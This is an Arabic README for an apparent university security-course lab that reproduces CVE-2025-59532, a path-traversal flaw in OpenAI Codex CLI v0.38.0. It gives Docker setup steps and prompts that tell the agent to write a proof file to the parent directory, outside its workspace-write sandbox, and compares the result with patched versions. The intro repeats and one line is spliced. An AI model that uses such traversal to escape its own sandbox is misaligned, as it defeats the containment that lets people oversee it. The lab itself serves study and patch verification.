
بيئة بحثية مبنية على Docker لتحليل CVE-2025-59532، وهي ثغرة اجتياز مسار في OpenAI Codex CLI تتيح كتابة ملفات تعسفية خارج صندوق حماية مساحة العمل المقصودة. جزء من مساق CMU: 18-739 القرصنة والأمن الهجومي في خريف 2025.
بيئة بحثية مبنية على Docker لتحليل CVE-2025-59532، وهي ثغرة اجتياز مسار في أداة Codex CLI من OpenAI تسمح بكتابة ملفات عشوائية خارج نطاق الحماية المعزولة لمساحة العمل المقصودة. جزء من مقرر CMU: 18-739 الاختراق والأمن الهجومي في خريف 2025
أولاً، استنسخ هذا المستودع:
git clone https://github.com/jjagielo/18739-CVE-Exploration.git
cd 18739-CVE-Exploration
أو إذا كنت تستخدم SSH:
git clone [email protected]:jjagielo/18739-CVE-Exploration.git
cd 18739-CVE-Exploration
CVE-2025-59532 هي ثغرة اجتياز مسار في أداة Codex CLI من OpenAI تسمح للمهاجمين بكتابة ملفات خارج دليل مساحة العمل المقصود، متجاوزةً قيود الحماية المعزولة.
../exploit.txt)، هاربًا من الحماية المعزولة لمساحة العمل حتى عند تفعيل --sandbox workspace-write.تستغل الثغرة عدم كفاية التحقق من المسارات في تطبيق الحماية المعزولة لمساحة العمل. عند تفعيل وضع الحماية المعزولة workspace-write، يجب أن يقيّد Codex عمليات الملفات في دليل مساحة العمل المخصص. ومع ذلك، في الإصدار v0.38.0، يفشل التحقق من المسارات في التعامل بشكل صحيح مع تسلسلات اجتياز المسار النسبية (../)، مما يسمح للمهاجم بكتابة ملفات خارج الحماية المعزولة عن طريق توجيه الذكاء الاصطناعي لاستخدام مراجع الدلائل الأصلية.
docker build -t cve-2025-59532:latest .
docker run -it --rm cve-2025-59532:latest
تتضمن بيئة Docker هذه ثلاثة إصدارات من Codex CLI:
بمجرد الدخول إلى الحاوية، قم بإعداد مفتاح OpenAI API الخاص بك بمجرد تشغيل codex في الوضع التفاعلي ولصق المفتاح هناك:
codex
سيتم تخزين مفتاح API في ~/.config/codex/auth.json وسيُستخدم بواسطة جميع إصدارات Codex (codex38، codex39، codex50).
codex38 --version # Should show v0.38.0 (vulnerable)
codex39 --version # Should show v0.39.0 (patched)
codex50 --version # Should show v0.50.0 (latest)
ملاحظة: تقع مساحة العمل في /workspace/child. تسمح الثغرة بالكتابة إلى /workspace (الدليل الأصلي).
اختبار الإصدار المُعرَّض للثغرة (v0.38.0):
codex38 exec --sandbox workspace-write --skip-git-repo-check "Create a file named 'exploit_proof1.txt' in the parent directory with content 'CVE-2025-59532 POC'"
اختبار الإصدار المُصلَح (v0.39.0):
codex39 exec --sandbox workspace-write --skip-git-repo-check "Create a file named 'exploit_proof2.txt' in the parent directory with content 'CVE-2025-59532 POC'"
اختبار أحدث إصدار (v0.50.0):
codex50 exec --sandbox workspace-write --skip-git-repo-check "Create a file named 'exploit_proof3.txt' in the parent directory with content 'CVE-2025-59532 POC'"
تحقق من الاستغلال:
# Check if files were created outside the sandbox (in /workspace, not /workspace/child)
ls -la /workspace/
cat /workspace/exploit_proof1.txt # Should exist if v0.38.0 is vulnerable
cat /workspace/exploit_proof2.txt # Should NOT exist if v0.39.0 is patched
cat /workspace/exploit_proof3.txt # Should NOT exist if v0.50.0 is secure
# Check current workspace (should be empty or contain only test files)
pwd # Should show /workspace/child
ls -la /workspace/child/
لعرض سجلات تصحيح مفصّلة لتنفيذ Codex:
RUST_LOG=debug codex38 exec --sandbox workspace-write --skip-git-repo-check "Create a file named 'exploit_proof.txt' in the parent directory with content 'CVE-2025-59532 POC'"
ستُظهر سجلات التصحيح ما يلي: